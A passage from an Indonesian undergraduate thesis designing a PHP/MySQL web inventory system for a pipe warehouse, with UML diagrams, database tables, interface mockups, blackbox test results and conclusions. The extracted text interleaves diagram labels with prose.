data reproduksi pipa dari database. Jika data reproduksi pipa berhasil ditambah, diedit,
atau dihapus, sistem akan kembali menampilkan update reproduksi pipa.
Mulai
Selesai
Manager, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan data pembeli
Klik Print
Print Laporan
Gambar 4.14 Activity diagram untuk laporan pipa masuk
Gambar 4.14 menjelaskan tentang menu laporan pipa masuk, dengan memilih
tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan
menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan
admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak
ada proses cetak laporan data pipa lagi maka proses selesai.
.
Gambar 4.15 Activity diagram untuk laporan data pembeli
Gambar 4.15 menjelaskan tentang menu laporan data pembeli, dengan memilih
tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan
menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan
131
Mulai
Selesai
Manager, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan data reproduksi pipa
Klik Print
Print Laporan
admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak
ada proses cetak laporan data pipa lagi maka proses selesai.
Gambar 4.16 Activity diagram untuk laporan data reproduksi pipa
Gambar 4.16 menjelaskan tentang menu laporan data reproduksi pipa, dengan
memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem
akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan
admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak
ada proses cetak laporan data pipa lagi maka proses selesai.
Mulai
Selesai
Manager, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan pipa keluar
Klik Print
Print Laporan
Gambar 4.17 Activity diagram untuk laporan pipa keluar
Gambar 4.17 menjelaskan tentang menu laporan data pipa keluar, dengan
memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem
akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan
admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak
ada proses cetak laporan data pipa lagi maka proses selesai.
133
Mulai
Selesai
Manager, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan work order
Klik Print
Print Laporan
Gambar 4.18 Activity diagram untuk laporan work order
Gambar 4.18 menjelaskan tentang menu laporan data work order, dengan
memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem
akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan
admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak
ada proses cetak laporan data pipa lagi maka proses selesai.
Mulai
Selesai
Manager, Marketing, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan stok pipa
Klik Print
Print Laporan
Mulai
Selesai
Tallyman, Admin_OS Sistem
Pilih cek barang
tampil ketersediaan pipa
Gambar 4.19 Activity diagram untuk laporan stok pipa
Gambar 4.19 menjelaskan tentang menu laporan data stok pipa, dengan memilih
tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan
menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager,
marketing dan admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol
print. Bila tidak ada proses cetak laporan data pipa lagi maka proses selesai.
135
login
Input Username & Password
Menampilkan Halaman Utama User
All User
Menampilkan Pesan Kesalahan Cek Database Username&Password
Gambar 4.20 Diagram aktivitas dari use case menu logout
ambar 4.20 Gambar diatas menjelaskan tentang cek barang yang dimulai dengan
memilih menu cek barang yang berisi tentang informasi ketersediaan pipa, maka sistem
akan menampilkan ketersediaan pipa. Bila tidak ada proses lagi maka proses selesai.
4.4.4 Sequence Diagram
Sequence Diagram secara grafis menggambarkan bagaimana objek berinteraksi
dengan satu sama lain melalui pesan pada eksekusi sebuah use case atau operasi.
Diagram ini mengilustrasikan bagaimana pesan terkirim dan diterima diantara objek.
Work order
Marketing
Pembeli
input form work order
get pembeli
tampil update data work order
pembeli
simpan
Gambar 4.21 Sequence diagram login
Gambar 4.21 pada saat All user input username dan password terlebih dahulu.
Pada saat username dan password diisi, sistem akan mencocokkan kesesuaian data
didalam database pada objek user. Jika terdapat kesalahan maka, sistem akan
menampilkan pesan kesalahan untuk memasukkan username dan password kembali.
Dan jika data sesuai akan masuk ke halaman utama user pada sistem inventory
management ope store.
Gambar 4.22 Sequential diagram input work order
Gambar 4.22 menerangkan tentang hubungan yang terjadi antara aktor
marketing dengan object dalam proses input data work order. Aktor memasukkan data-
137
Pembeli
Marketing
input form pembeli
simpan
tampil update data pembeli
Kota Provinsi
input kota
input provinsi
kota
provinsi
data work order. Kemudian sistem menyimpan data barang tersebut ke dalam database
work order.
Gambar 4.23 Sequential diagram input data pembeli
Gambar 4.23 menerangkan hubungan aktor Marketing dengan object yang
terjadi dalam proses input data pembeli. Aktor memasukkan data pembeli, kemudian
mengklik tombol simpan yang kemudian data pembeli tersebut tersimpan dalam
database pembeli.
Gambar 4.24 Sequential diagram input pipa masuk & keluar
Gambar 4.24 menerangkan hubungan aktor Admin_OS dengan object yang
terjadi dalam proses input data pipa masuk dan keluar. Aktor memasukkan data pipa,
kemudian mengklik tombol simpan yang kemudian data pipa tersebut tersimpan dalam
database barang.
Barang
Admin_OS
input form pipa
simpan
tampil update data pipa
Jenis
get jenis
jenis
cek kelengkapan data
139
Reproduksi
Tallyman
input form reproduksi pipa
simpan
tampil update data reproduksi pipa
Barang
get pipa
Jenis
get jenis
jenis
pipa
Gambar 4.25 Sequential diagram input data reproduksi pipa
Gambar 4.25 menerangkan tentang hubungan yang terjadi antara aktor
admin_OS dengan object dalam proses input data Reproduksi pipa. Aktor memasukkan
data-data reproduksi pipa. Kemudian sistem menyimpan data reproduksi tersebut ke
dalam database reproduksi.
Barang
Manager
pilih periode yang diinginkan
search
tampil laporan pipa masuk
cek periode yang dimasukkan
Gambar 4.26 Sequential diagram laporan pipa masuk & keluar
Gambar 4.26 menerangkan tentang hubungan yang terjadi antara aktor manager
dengan object dalam proses laporan pipa masuk dan keluar. Aktor memilih periode
yang diinginkan, kemudian search, sistem akan memeriksa kelengkapan data periode
yang dimasukkan. Kemudian sistem menampilkan laporan pipa yang diinginkan
berdasarkan periode.
141
Pembeli
Manager
pilih periode yang diinginkan
search
tampil laporan data pembeli
cek periode yang dimasukkan
Gambar 4.27 Sequential diagram laporan data pembeli
Gambar 4.27 menerangkan tentang hubungan yang terjadi antara aktor manager
dengan object dalam proses laporan data pembeli. Aktor memilih periode yang
diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan pembeli
yang diinginkan berdasarkan periode.
Reproduksi
Manager
pilih periode yang diinginkan
search
tampil laporan reproduksi pipa
cek periode yang dimasukkan
Gambar 4.28 Sequential diagram laporan reproduksi pipa
Gambar 4.28 menerangkan tentang hubungan yang terjadi antara aktor manager
dengan object dalam proses laporan reproduksi. Aktor memilih periode yang
diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan reproduksi
yang diinginkan berdasarkan periode.
143
Work order
Manager
pilih periode yang diinginkan
search
tampil laporan work order
cek periode yang dimasukkan
Gambar 4.29 Sequential diagram laporan work order
Gambar 4.29 menerangkan tentang hubungan yang terjadi antara aktor manager
dengan object dalam proses laporan work order. Aktor memilih periode yang
diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan work order
yang diinginkan berdasarkan periode.
Stok
Manager
pilih periode yang diinginkan
search
tampil laporan stok pipa
cek periode yang dimasukkan
Gambar 4.30 Sequential diagram laporan stok pipa
Gambar 4.30 menerangkan tentang hubungan yang terjadi antara aktor manager
dengan object dalam proses laporan stok pipa. Aktor memilih periode yang diinginkan,
kemudian klik search. Kemudian sistem menampilkan laporan stok pipa yang
diinginkan berdasarkan periode.
145
Barang
Manager
klik cek barang
tampil cek barang
Gambar 4.31 Sequential diagram cek barang
Gambar 4.31 menerangkan tentang hubungan yang terjadi antara aktor tallyman
dengan object dalam proses cek barang. Aktor memilih menu cek barang sistem
langsung menampilkan data cek barang.
4.4.5 Class Diagram
Diagram ini adalah deskripsi kelompok objek-objek dengan prototype,perilaku
dan relasi yang sama. Class diagram yang digunakan seperti pada Gambar 4.32.
Gambar 4.32 Class Diagram
4.4.6 Tabel Database
1. Tabel pipa
File Name : Barang
Type of File : Master file
+add()
+delete()
+edit()
-kd_jenis (Pk)
-nm_jenis
::jenis
+add()
+delete()
+edit()
+save()
-kd_brg (Pk)
-nm_brg
-kd_jenis (Fk)
-ukuran
-id_user (Fk)
::Barang
+add()
+delete()
+edit()
+save()
-id_user(Pk)
-nm_user
-password
-id_level (Fk)
-id_pegawai (Fk)
::User
+add()
+delete()
+edit()
-id_level (Pk)
-nm_level
::Level
+add()
+delete()
+edit()
-id_jabatan (Pk)
-nm_jabatan
::jabatan
+add()
+delete()
+edit()
-id_pegawai (Pk)
-nm_pegawai
-id_jabatan (Fk)
::Pegawai
+view()
+edit()
-id_stok (Pk)
-jumlah_ready
-kd_brg (Fk)
-safety_stock
-id_user (Fk)
::Stok
+add()
+edit()
+delete()
-kd_reproduksi (Pk)
-jumlah_riject
-kd_brg (Fk)
-id_user (Fk)
::Reproduksi
+add()
+delete()
+edit()
-id_work (Pk)
-kd_pembeli (Fk)
-jumlah
-kd_brg (Fk)
-id_user (Fk)
::Work Order
+add()
+delete()
+edit()
-kd_pembeli (Pk)
-nm_pembeli
-alamat
-tlpn
-id_kota (Fk)
-id_user (Fk)
::Pembeli
+view()
+add()
+delete()
-id_kota (Pk)
-nm_kota
-id_prov (Fk)
::kota
+add()
+delete()
+edit()
-id_prov (Pk)
-nm_prov
::Provinsi
1
1..*
1
1..* 1..*
1
1..*
1 1..*
1 1
1
1
1
11
::login
1
1
1
1..*
1
1..*
11..*
1
1..*
1 1..*
147
Primary Key : kd_brg
Foreign Key : kd_jenis, id_user
Tabel 4.19 Database Barang
No Field Type Size Null Keterangan
1 Kd_brg Int 4 No Kode pipa
2 Nm_brg Varchar 10 No Nama pipa
3 Ukuran Varchar 10 No Ukuran pipa
4 Kd_jenis Int 2 No Kode Jenis
5 Id_user varchar 4 No Identitas user
2. Tabel Pembeli
File Name : Pembeli
Type of File : Master file
Primary Key : kd_pembeli
Foreign Key : id_kota, id_user
Tabel 4.20 Database Pembeli
No Field Type Size Null Keterangan
1 kd_pembeli Varchar 4 No Kode pembeli
2 nm_pembeli Varchar 50 No Nama pembeli
3 Alamat Varchar 100 No Alamat pembeli
4 Telpon Varchar 10 No Telepon
5 Email varchar 20 No Email
6 Id_kota Varchar 4 No Identitas Kota
7 Id_user varchar 4 No Identitas user
3. Tabel Reproduksi
File Name : Reproduksi
Type of File : Transaction file
Primary Key : kd_rp
Foreign Key : kd_brg, id_user
Tabel 4.21 Database reproduksi
No Field Type Size Null Keterangan
1 Kd_rp Varchar 4 No Kode reproduksi
2 Ukuran Varchar 10 No Ukuran pipa
3 Jumlah riject Int 10 No Jumlah reject
4 Kd_brg Varchar 4 No Kode_pipa
5 Id_user varchar 4 No Identitas user
4. Tabel Stok
File Name : Stok
Type of File : Transaction file
Primary Key : id_stok
Foreign Key : kd_brg, id_user
Tabel 4.22 Database Stok
No Field Type Size Null Keterangan
1 Id_stok Varchar 4 No Identitas Stok
2 Jumlah_ready Int 3 No Jumlah Stok
3 Kd_brg Varchar 4 No Kode Pipa
149
4 Id_user varchar 4 No Identitas user
5. Tabel Work Order
File Name : work order
Type of File : Transaction file
Primary Key : id_work
Foreign Key : kd_pembeli, kd_brg, id_user
Tabel 4.23 Database work order
No Field Type Size Null Keterangan
1 Id_work Varchar 4 No Identitas work order
2 Jumlah Int 3 No Jumlah work order
3 Kd_pembeli Varchar 4 No Kode Pembeli
4 Kd_brg Varchar 4 No Kode pipa
5 Id_user varchar 4 No Identitas user
6. Tabel User
File Name : User
Type of File : Master file
Primary Key : id_user
Foreign Key : id_pegawai, id level
Tabel 4.24 Database user
No Field Type Size Null Keterangan
1 Id_user Varchar 4 No Identitas user
2 Nm_user Varchar 20 No Nama User
3 Password Varchar 10 No Password
4 Id_level Varchar 3 No Identitas Level
5 Id_pegawai Varchar 3 No Identitas pegawai
7. Tabel Level
File Name : Level
Type of File : Master file
Primary Key : id_level
Foreign Key : -
Tabel 4.25 Database Level
No Field Type Size Null Keterangan
1 Id_level Varchar 3 No Identitas level
2 Nm_user Varchar 10 No Nama level
8. Tabel Jabatan
File Name : Jabatan
Type of File : Master file
Primary Key : id_jbtn
Foreign Key : -
151
Tabel 4.26 Database Jabatan
No Field Type Size Null Keterangan
1 Id_jbtn Varchar 2 No Identitas jabatan
2 Nm_jbtn Varchar 30 No Nama jabatan
9. Tabel Jenis
File Name : Jenis
Type of File : Master file
Primary Key : kd_jenis
Foreign Key : -
Tabel 4.27 Database Jenis
No Field Type Size Null Keterangan
1 kd_jenis Varchar 3 No Kode jenis
2 Nm_jenis Varchar 10 No Nama jenis
10. Tabel Kota
File Name : Kota
Type of File : Master file
Primary Key : id_kota
Foreign Key : id_prov
Tabel 4.28 Database Kota
No Field Type Size Null Keterangan
1 Id_kota Int 4 No Identitas kota
2 Nm_kota Varchar 30 No Nama kota
3 Id_prov Varchar 4 No Identitas provinsi
11. Tabel Provinsi
File Name : Provinsi
Type of File : Master file
Primary Key : id_prov
Foreign Key : -
Tabel 4.29 Database Provinsi
No Field Type Size Null Keterangan
1 Id_Prov Varchar 4 No Identitas provinsi
2 Nm_prov Varchar 30 No Nama provinsi
12. Tabel Pegawai
File Name : Pegawai
Type of File : Master file
Primary Key : id_pegawai
Foreign Key : id_jbtn
153
Logo BANNER
Login
LOGIN
Username
Password
Tabel 4.30 Database Pegawai
No Field Type Size Null Keterangan
1 Id_pegawai Varchar 3 No Identitas pegawai
2 Nm_pegawai Varchar 20 No Nama pegawai
3 Id_jbtn Varchar 3 No Identitas jabatan
4.4.7 Interface Design
1. Menu Login
Gambar 4.33 Design interface menu login
Keterangan Gambar 4.33 : Menu Login merupakan langkah awal bagi
user untuk dapat masuk ke dalam sistem dengan mengisi username dan password
terlebih dahulu. Jika username dan password benar maka akan tampil halaman
Home, jika salah maka akan kembali mengisi username dan password pada
halaman login.
2. Menu Home
Gambar 4.34 Design interface menu home
Keterangan Gambar 4.34 : setelah user berhasil melakukan login maka
langsung masuk ke dalam halaman home. Menu home merupakan halaman
utama pada aplikasi.
Logo
Home Logout
BANNER
Menu
Menu
Menu
Menu
Tanggal/ waktu
155
3. Menu Administrator
Gambar 4.35 Design interface menu manage user
Keterangan Gambar 4.35 : menu administrator digunakan oleh user
admin_OS untuk menambah dan menghapus user.
4. Menu Data Pipa Masuk
Gambar 4.36 Design interface menu data pipa masuk
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Manager User
Menu
Menu
Nama User
Nama Lengkap
Password
Hak Akses
No Nama User Nama lengkap Hak user action
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Data Pipa Masuk
Menusimpan
Nama barang
Jumlah
Tanggal
reset
Unit/ batang
No Kode barang Nama barang jumlah actionMenu
Menu
Tanggal
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Data Pipa
Menu
Kode Produk
Nama Produk
Ukuran
Menu
Menu
simpan Reset
Jenis
Keterangan Gambar 4.36 : menu data pipa masuk ini adalah bagian dari menu
input, yang digunakan oleh user admin_OS untuk menambah jumlah pipa
masuk.
5. Menu Data Pipa
Keterangan Gambar 4.39: menu data pipa ini digunakan oleh admin_OS
untuk menambah nama barang pada perusahaan, menu ini digunakan jika
perusahaan melakukan penambahan jenis pipa atau barang baru yang diproduksi.
Gambar 4.37 Design interface menu data pipa
157
6. Menu Data Pipa Keluar
Gambar 4.38 Design interface menu data pipa keluar
Keterangan Gambar 4.38 : menu data pipa keluar ini adalah bagian dari
menu input, yang digunakan oleh user admin_OS untuk menambah jumlah pipa
keluar.
7. Menu Data Pembeli
Gambar 4.39 Design interface menu data pembeli
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Data Pipa Keluar
Menusimpan
Nama barang
Jumlah
Tanggal
reset
Unit/ batang
No Kode barang Nama barang jumlah actionMenu
Menu
Tanggal
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Data Pembeli
Menusimpan
Kode Pembeli
Nama Pembeli
Alamat
reset
Unit/ batang
No Nama Alamat telepon actionMenu
Menu
Telepon
kode
Keterangan Gambar 4.39 : menu data pembeli ini adalah bagian dari menu input,
yang digunakan oleh user admin_OS untuk menambah data Pembeli.
8. Menu Data Reproduksi Pipa
Gambar 4.40 Design interface menu reproduksi pipa
Keterangan Gambar 4.40 : menu data reporduksi pipa ini adalah bagian
dari menu input, yang digunakan oleh user admin_OS untuk menambah data
reproduksi pipa.
9. Menu Work Order
Gambar 4.41 Design interface menu input data work order
Keterangan Gambar 4.41 : menu data input work order ini digunakan
oleh user admin_OS untuk menambah data work order.
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Reproduksi Pipa
Menusimpan
Nama barang
Jumlah
Tanggal
reset
Unit/ batang
No Tanggal Kode Reproduksi Nama Barang actionMenu
Menu
Jumlah
Kode Reproduksi
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Menusimpan
Nama barang
Jumlah
Tanggal
reset
No Tanggal Nama PembeliNama Barang actionMenu
Menu
Jumlah
Kode Work Order
Pembeli
Tanggal Kirim tanggal bulan tahun
Kode Alamat
159
10. Menu Laporan Pipa Masuk
Keterangan Gambar 4.42 : menu laporan pipa masuk ini adalah sub menu
dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat
data pipa masuk yang ada dalam sistem.
Gambar 4.42 Design interface menu laporan data pipa masuk
11. Menu Laporan Pipa Keluar
Keterangan Gambar 4.43 : menu laporan pipa keluar ini adalah sub menu
dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat
data pipa keluar yang ada dalam sistem.
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
search
No Tanggal Nama Barang actionLaporan Pipa masuk
Menu
Jumlah
sampaitanggal bulan tahun
Kode
tanggal bulan tahun
Gambar 4.43 Design interface menu laporan data pipa keluar
12. Menu Laporan Data Pembeli
Gambar 4.44 Design interface menu laporan data pembeli
Keterangan Gambar 4.44 : menu laporan data pembeli ini adalah sub menu dari
Laporan, yang digunakan oleh user manager untuk melihat data pembeli yang ada
dalam sistem.
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
search
No Tanggal Nama Barang actionLaporan Pipa Keluar
Menu
Jumlah
sampaitanggal bulan tahun
Kode
tanggal bulan tahun
Pembeli
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
search
No Email Nama actionLaporan Data Pembeli
Menu
telepon
sampaitanggal bulan tahun
Kode
tanggal bulan tahun
Alamat Tanggal
161
13. Menu Laporan Data Stok Pipa
Gambar 4.45 Design interface menu laporan stok pipa
Keterangan Gambar 4.45 : menu laporan data stok pipa ini adalah sub
menu dari Laporan, yang digunakan oleh user admin_OS dan manager untuk
melihat data pipa yang ada dalam sistem.
14. Menu Laporan Work Order
Gambar 4.46 Design interface menu laporan work order
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
Laporan Stok Pipa
Menu
No JumlahNama barang
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
search
No Tanggal Nama Barang actionLaporan Pipa Keluar
Menu
Jumlah
sampaitanggal bulan tahun
Kode
tanggal bulan tahun
Pembeli
Keterangan Gambar 4.46 : menu laporan Work Order ini adalah sub menu
dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat
data work order yang ada dalam sistem.
15. Menu Cek Barang
Keterangan Gambar 4.47 : menu cek barang ini adalah menu yang
digunakan user tallyman untuk melihat laporan Ready stock pipa yang ada
dalam sistem.
Gambar 4.47 Design interface menu cek barang
4.5 Implementation System
Setelah tahap perancangan selesai, maka tahap berikutnya adalah
mengimplementasikan hasil rancangan tersebut. Dalam mengimplementasikan sistem
Logo
Logout
BANNER
Tanggal/ waktuHome
Administrator
Input
Work Order
Laporan
Cek Barang
No StokNama barang
163
dengan menggunakan XAMPP versi 1.6.2 yang mencakup : Apache versi2.2.4 untuk
web server, PHP versi 5.2.2. Selain itu, juga menggunakan Macromedia Dreamweaver 8
sebagai software editor, MySQL 2005 versi 7.1.9 sebagai database management-nya
dan Adobe Photoshop CS3 untuk mengolah gambar, serta Visio 2007 untuk tools UML.
Selain itu juga sarana pendukung yang diperlukan agar sistem dapat berjalan sesuai
yang diharapkan.
4.6 Pengujian System
Sebelum sistem informasi dapat digunakan, maka harus dilakukan pengujian
terlebih dahulu. Beberapa pengujian dilakukan oleh programmer sendiri. Pengujian ini
dilakukan dengan menggunakan metode Blackbox testing.
4.6.1 Uji coba user admin_OS
Melakukan uji coba sebagai user adm_OS. Hasil yang didapat sebagai berikut
Tabel 4.31 Uji coba user admin_OS
No. Rancangan Proses Hasil yang diharapkan Hasil
1 Isi user name dan
password
Masuk halaman utama
(home) yang diawali
dengan tulisan Selamat
Datang
OK
2 Klik tombol menu input
data pipa masuk
Masuk halaman form input
data pipa masuk
OK
3 Isi data pipa masuk Pengisian sejumlah data
pipa
OK
4 Klik tombol simpan Data tersimpan ke dalam
database pipa masuk
OK
5 Klik tombol Reset Data yang terisi akan
terhapus
OK
6 Klik tombol menu input
data pipa keluar
Masuk halaman form input
data pipa keluar
OK
7 Isi data pipa keluar Pengisian sejumlah data
pipa keluar
OK
8 Klik tombol menu drop
down untuk menentukan
nama pipa
Tampil nama pipa OK
9 Klik tombol menu drop
down untuk menentukan
nama pembeli
Tampil nama pembeli OK
10 Klik tombol simpan Data tersimpan ke dalam
database pipa keluar
OK
11 Klik tombol Reset Data yang terisi akan
terhapus
OK
12 Klik tombol menu input
data pembeli
Masuk halaman form input
data pembeli
OK
13 Isi data pembeli Pengisian sejumlah data
pembeli
OK
14 Klik tombol simpan Data tersimpan ke dalam
database pembeli
OK
15 Klik tombol Reset Data yang terisi akan
terhapus
OK
16 Klik tombol menu
reproduksi pipa
Masuk halaman form input
reproduksi pipa
OK
17 Isi data reproduksi pipa Pengisian sejumlah data
reproduksi pipa
OK
18 Klik tombol menu drop
down untuk menentukan
nama pipa
Tampil nama pipa OK
165
19 Klik tombol simpan Data tersimpan ke dalam
database reproduksi
OK
20 Klik tombol Reset Data yang terisi akan
terhapus
OK
21 Klik tombol work order Masuk halaman form input
data work order
OK
22 Isi data work order Pengisian sejumlah data OK
23 Klik tombol menu drop
down untuk menentukan
nama pipa dan pembeli
serta tanggal kirim
Tampil nama pipa dan
pembeli serta tanggal kirim
OK
24 Klik tombol simpan Data tersimpan ke dalam
database work order
OK
25 Klik tombol Reset Data yang terisi akan
terhapus
OK
26 Klik tombol Logout Menampilkan pesan
warning yang di awali
dengan kalimat terima kasih
anda berhasil logout
OK
27 Klik tombol OK Kembali ke menu login OK
4.6.2 Uji coba user Manager
Melakukan uji coba sebagai user manager. Hasil yang didapat sebagai berikut
Tabel 4.32 Uji coba user Manager
No. Rancangan Proses Hasil yang diharapkan Hasil
1 Isi user name dan
password
Masuk halaman utama (home) yang
diawali dengan tulisan Selamat Datang
OK
2 Klik tombol menu Menampilkan halaman laporan pipa OK
lap. pipa masuk masuk
3 Klik tombol menu
drop down untuk
menentukan nama
tanggal, bulan dan
tahun laporan
Tampil tanggal, bulan dan tahun OK
4 Klik tombol search Menampilkan data pipa sesuai tanggal
yg di inputkan
OK
5 Klik tombol print Laporan di print OK
6 Klik tombol menu
lap. pipa keluar
Menampilkan halaman laporan pipa
keluar
OK
7 Klik tombol menu
drop down untuk
menentukan nama
tanggal, bulan dan
tahun laporan
Tampil tanggal, bulan dan tahun OK
8 Klik tombol search Menampilkan data pipa sesuai tanggal
yg di inputkan
OK
9 Klik tombol print Laporan di print OK
10 Klik tombol menu
lap. Data pembeli
Menampilkan halaman laporan data
pembeli
OK
11 Klik tombol menu
drop down untuk
menentukan nama
tanggal, bulan dan
tahun laporan
Tampil tanggal, bulan dan tahun OK
12 Klik tombol search Menampilkan data barang sesuai
tanggal yg diinputkan
OK
13 Klik tombol print Laporan di print OK
14 Klik tombol menu
lap. Reproduksi
pipa
Menampilkan halaman laporan
reproduksi pipa
OK
167
4.6.3 Uji coba user Tallyman
Melakukan uji coba sebagai user tallyman. Hasil yang didapat sebagai berikut
15 Klik tombol menu
drop down untuk
menentukan nama
tanggal, bulan dan
tahun laporan
Tampil tanggal, bulan dan tahun OK
16 Klik tombol search Menampilkan data pipa sesuai tanggal
yg di inputkan
OK
17 Klik tombol print Laporan di print OK
18 Klik tombol menu
lap. Stok pipa
Menampilkan halaman laporan Stok
Pipa
OK
19 Klik tombol print Laporan di print OK
20 Klik tombol menu
lap. Work order
Menampilkan halaman laporan work
order
OK
21 Klik tombol menu
drop down untuk
menentukan nama
tanggal, bulan dan
tahun laporan
Tampil tanggal, bulan dan tahun OK
22 Klik tombol search Menampilkan data barang sesuai
tanggal yg diinputkan
OK
23 Klik tombol print Laporan di print OK
24 Klik tombol Logout Menampilkan pesan warning yang di
awali dengan kalimat terima kasih
anda berhasil logout
OK
25 Klik tombol OK Kembali ke menu login OK
Tabel 4.33 Uji coba user Tallyman
No. Rancangan Proses Hasil yang diharapkan Hasil
1 Isi user name dan
password
Masuk halaman utama (home) yang
diawali dengan tulisan Selamat Datang
OK
2 Klik menu cek
barang
Menampilkan halaman cek barang
yang tersedia
OK
4 Klik menu input
reproduksi pipa
Menampilkan halaman reproduksi
pipa
OK
5 Isi data reproduksi
pipa
Pengisian data reproduksi pipa OK
6 Klik tombol simpan Data reproduksi tersimpan di dalam
database
OK
7 Klik tombol reset Data yang telah diisi akan hilang atau
memasukkan data kembali
OK
8 Klik tombol Logout Menampilkan pesan warning yang di
awali dengan kalimat terima kasih
anda berhasil logout
OK
9 Klik tombol OK Kembali ke menu login OK
4.6.4 Uji coba user Marketing
Melakukan uji coba sebagai user marketing. Hasil yang didapat sebagai berikut
Tabel 4.34 Uji coba user Marketing
No. Rancangan Proses Hasil yang diharapkan Hasil
1 Isi user name dan
password
Masuk halaman utama (home) yang
diawali dengan tulisan Selamat Datang
OK
2 Klik menu work
order
Menampilkan halaman work order OK
169
5 Isi data work order Pengisian data work order OK
6 Klik tombol simpan Data reproduksi tersimpan di dalam
database
OK
7 Klik tombol reset Data yang telah diisi akan hilang atau
memasukkan data kembali
OK
2 Klik menu data
pembeli
Menampilkan halaman data pembeli OK
5 Isi data pembeli Pengisian data pembeli OK
6 Klik tombol simpan Data pembeli tersimpan di dalam
database
OK
7 Klik tombol reset Data yang telah diisi akan hilang atau
memasukkan data kembali
OK
8 Klik tombol Logout Menampilkan pesan warning yang di
awali dengan kalimat terima kasih
anda berhasil logout
OK
9 Klik tombol OK Kembali ke menu login OK
170
BAB V
KESIMPULAN DAN SARAN
5.1 Kesimpulan
Dari pembahasan yang sudah diuraikan maka penulis mencoba membuat
simpulan sebagai berikut:
1. Sistem Inventory management open store ini dibangun untuk memudahkan
pengolahan data pipa, baik untuk memasukkan pipa ke dalam open store,
reproduksi pipa, mengeluarkan pipa untuk dikirim dan lain sebagainya, dengan
menggunakan bahasa pemrograman PHP dan dikoneksikan dengan database
MySQL.
2. Penyusunan laporan yang ada dalam sistem inventory management open store
ini sudah terintegrasi, ketika admin menginput data tentang pipa, baik itu tentang
input data pipa masuk, keluar maupun reproduksi dan juga bisa menambah data
pembeli, maka secara otomatis manager bisa langsung melihat laporan yang
diinginkan, tanpa harus menunggu waktu lama.
3. Design Sistem inventory management open store berbasiskan web base sehingga
lebih dinamis dan terlihat user friendly.
171
5.2 Saran
Berdasarkan simpulan – simpulan yang telah dikemukakan, dapat
diajukan beberapa saran untuk pengembangan lebih lanjut antara alain:
1. Pengembangan sistem inventory management open store ini dapat
dikembangkan ke bagian Transportation Manager setelah proses penyimpanan
pipa dari open store sampai pengiriman kepada pelanggan.
2. Pengembangan sistem inventory management open store ini dapat
dikembangkan ke bagian pembayaran dan distribusi.
DAFTAR PUSTAKA
Agustina, Maria S. 2010. Shourt Course Mendesain Website Dinamis dan
Menarik dengan Adobe Dreamweaver CS4. Wahana Komputer.
Semarang
Akbar, Ali ST. 2006. Panduan Cepat Menguasai Teknologi Informasi dan
Komunikasi. Gava Media. Yogyakarta.
Anhar ST. 2010. Panduan Menguasai PHP & MySQL. Mediakita. Jakarta
Ar-Rifai, Muhammad Nasib, 2003 Ringkasam Tafsir Ibnu Katsir Jilid 2. Gema
Insani. Depok
Bintarto, HR. 2002. Perangkaan Penelitian. Andi. Yogyakarta
Hardjono, Dhewiberta. 2006. Menguasai Pemrograman Web dengan PHP 5.
Andi. Yogyakarta
Indrajit, Richardus Eko, dan Richardus Djokopranoto. 2006. Konsep Manajemen
Supply Chain Cara Baru Memandang Mata Rantai Penyediaan
Barang. Grasindo. Jakarta
Indrajit, Richardus Eko, dan Richardus Djokopranoto. 2003. Konsep Manajemen
Persediaan Barang Umum dan Suku Cadang untuk Keperluan
Pemeliharaan, Perbaikan, dan Operasi. Grasindo. Jakarta
Irawan. 2009. Kamus Istilah Komputer untuk Orang Awam. Maxikom.
Palembang
Jogiyanto. 2008. Metodologi Penelitian Sistem Informasi. Andi. Yogyakarta
Kadir, Abdul. 2003. Pengenalan Sistem Informasi. Andi. Yogyakarta
McLeod, Raymond & George Schell. 2004. Sistem Informasi Manajemen.
